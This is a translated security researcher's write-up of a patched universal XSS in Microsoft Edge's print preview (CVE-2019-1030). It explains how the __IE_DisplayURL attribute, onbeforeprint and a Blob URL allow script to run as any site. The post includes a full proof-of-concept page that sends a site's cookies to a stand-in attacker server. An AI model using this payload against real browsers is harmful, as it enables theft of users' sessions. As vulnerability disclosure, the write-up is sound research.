Among all kinds of XSS vulnerabilities, uXSS can be said to be a very special category, it is related to browser or browser plug-ins, and has nothing to do with specific websites. It's like you have a very interesting XSS (under a browser) on all websites.
In this article, I will describe the uXSS found in Edge browser. Usually, uXSS is related to iframe elements or URL s. I never thought I would find uXSS through print() function.
Print Preview
Let's first discuss what happens when the Edge browser displays a print preview window.
I always thought it was just a screen capture technology to copy to the canvas, but in fact, the page you are printing will be copied to a temporary location and re-rendered!
When we execute the print() function on the web page, we can use the Process Monitor You can see the following picture:
Yes, Edge is creating a file in the temporary directory that contains a small version of the page we are trying to print. Let's make a comparison.
The original page:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <iframe src="https://www.bing.com/?q=example"></iframe> <script> qbutt.onclick=e=>{ window.print(); } </script> </body> </html>
Temporary page:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com:777/printExample.html"><HEAD><meta content="text/html; charset=utf-8" http-equiv=Content-Type> <base HREF="http://q.leucosite.com:777/printExample.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <iframe src="file://C:\Users\Q\AppData\Local\Packages\microsoft.microsoftedge_8wekyb3d8bbwe\AC\#!001\Temp\3P9TBP2L.htm"></iframe> <script> qbutt.on click=e=>{ window.print(); } </script> </BODY></HTML>
From the above two pages, we can find some differences.
-
Js statements are encoding by entities and cannot be rendered.
-
IFRAME points to a local file that contains the source code for the original reference page bing.com.
-
HTML elements now have a special attribute _IE_DisplayURL
I did some tests on Points 1 and 2 to try to find js statements that still work after coding. However, it has been proved that any statement from < script > elements, whether valid or invalid, will not be executed.
As for point 2, I can use the @media print {} function of CSS plus CSS selector The system user name is extracted by ref value of iframe. However, this is not good enough.
And this third point is the most interesting part of this article. This attribute is very unusual at first sight. I have never seen it before. So I immediately looked up the relevant articles, seemingly Masato Kinugawa There are some studies in this area.
After learning for a while, I found that the print preview content is closely related to this attribute, which indicates the source of the printed document (from which website). This coincides with Edge's use of file: to open a file. You will notice that all requests for this document (in print preview) behave exactly the same as the original website.
So how do we use this property?
Execute javascript in print preview
As I said before, any js statements from script tags are ignored. But what if it comes from other markers? I tried all the sentences I could think of and finally found out.
Since we've been discussing printing functions, it's natural to think about events related to printing and finally find onbeforeprint. With it, I can inject an iframe that points to any website, and Edge doesn't convert it into a file. After I injected an iframe containing javascript: it was found that the js statement was successfully executed.
Test statement:
<!doctype html> <html> <head> <title>Printer Button</title> </head> <body> <button id="qbutt">Print!</button> <div id="qcontent"></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </body> </html>
After printing preview conversion:
<!DOCTYPE HTML> <!DOCTYPE html PUBLIC "" ""><HTML __IE_DisplayURL="http://q.leucosite.com/dl.html"><HEAD><meta content="text/html; charset=windows-1252" http-equiv=Content-Type> <base HREF="http://q.leucosite.com/dl.html"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE><TITLE>Printer Button</TITLE></HEAD><BODY><BUTTON id="qbutt">Print!</BUTTON> <div id="qcontent"><iframe src="ja vasc ript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe></div> <script> qbutt.onclick=e=>{ window.print(); } window.onbeforeprint=function(e){ qcontent.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){document.write('in print preview')}"></iframe>`; } </script> </BODY></HTML>
Result:
[Img-wqelgZal-1568026458392 (https://nosec.org/avatar/uploads/attach/image/bfb2b9a1dedbae7e76af0235e277858f/44.png)]
However, the successful execution of the js statement does not mean that we have completed all the tasks. As mentioned earlier, because of the _IE_DisplayURL attribute, any request or API is considered to come from the original document (no external site can be attacked).
Real uXSS
After we can execute the js statement, we need to build our own "Print Preview Document" with a custom _IE_Display URL in some way, so that we can launch uXSS attacks on any website.
Soon I found that Blob URL could do that! To do this, I created a special print document with custom attributes pointing to my target website (in this case, "bing.com"), and it also contains a javascript iframe, just as it is executed in the "bing.com" website.
The Js statement inserted is as follows:
if (top.location.protocol == 'file:') { setTimeout(function() { top.location = URL.createobjectURL(new Blob([top.document.getElementById('qd').value], { type: 'text/html' })) }, 1000) }
top.document.getElementById('qd').value refers to the following false printed documents:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><meta content="text/html; charset=windows-1252" http-equiv=Content-Type> <base HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML>
Now, I can see the cookie on the website and send it to a server.
Now let me summarize the overall utilization process:
-
With onbeforeprint, I insert an iframe that triggers my js statement before printing.
-
Initialize by calling window.print().
-
Edge appears in a print preview window with the contents of the js statement I inserted and rendered.
-
These js statements create a Blob URL with a custom print document from "bing.com" and redirect the top frame to that URL.
-
The print preview content mistakenly assumes that the content of my Blob URL is a legitimate printed document and sets the document source to bing.com through the _IE_DisplayURL attribute.
-
This false print document now contains another javascript iframe that displays cookie s from the bing.com website.
-
uXSS is successfully implemented!
PoC and Video
The final PoC code is as follows:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML> <head> <style>iframe{width:300px;height:300px;}</style> </head> <body> <!-- -----------------------------HTML for our blob------------------------------------ --> <textarea id="qd"> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><HTML __IE_DisplayURL="https://www.bing.com/"><HEAD><me ta content="text/html; charset=windows-1252" http-equiv=Content-Type> <base HREF="https://www.bing.com/"> <STYLE> HTML { font-family : "Times New Roman" } </STYLE> <STYLE>iframe { width: 300px; height: 300px; } </STYLE> </HEAD><BODY> <iframe id="qif" src="javascript:qa=top.document.createElement('img');qa.src='http://localhost:8080/?'+escape(btoa(top.document.cookie));top.document.body.appendChild(qa);'just sent the following data to attacker server:<br>'+top.document.cookie"> </BODY></HTML> </textarea> <!-- ---------------------------------------------------------------------------- --> <script> var qdiv=document.createElement('div'); document.body.appendChild(qdiv); window.on beforeprint=function(e){ qdiv.innerHTML=`<iframe src="javascript:if(top.location.protocol=='file:'){setTimeout(function(){top.location=URL.createobjectURL(new Blob([top.document.getElementById('qd').value],{type:'text/html'}))},1000)}"></iframe>`; } window.print(); </script> <style> </style> </body> </html>
The address of the demo video is as follows:
https://i.imgur.com/TYAQHp3.mp4
Reference link:
https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2019-1030
Thank you for reading!
This article is compiled and translated by White Hat. It does not represent any views and positions of White Hat: https://nosec.org/home/detail/2941.html Source: https://leucosite.com/Microsoft-Edge-uXSS/?=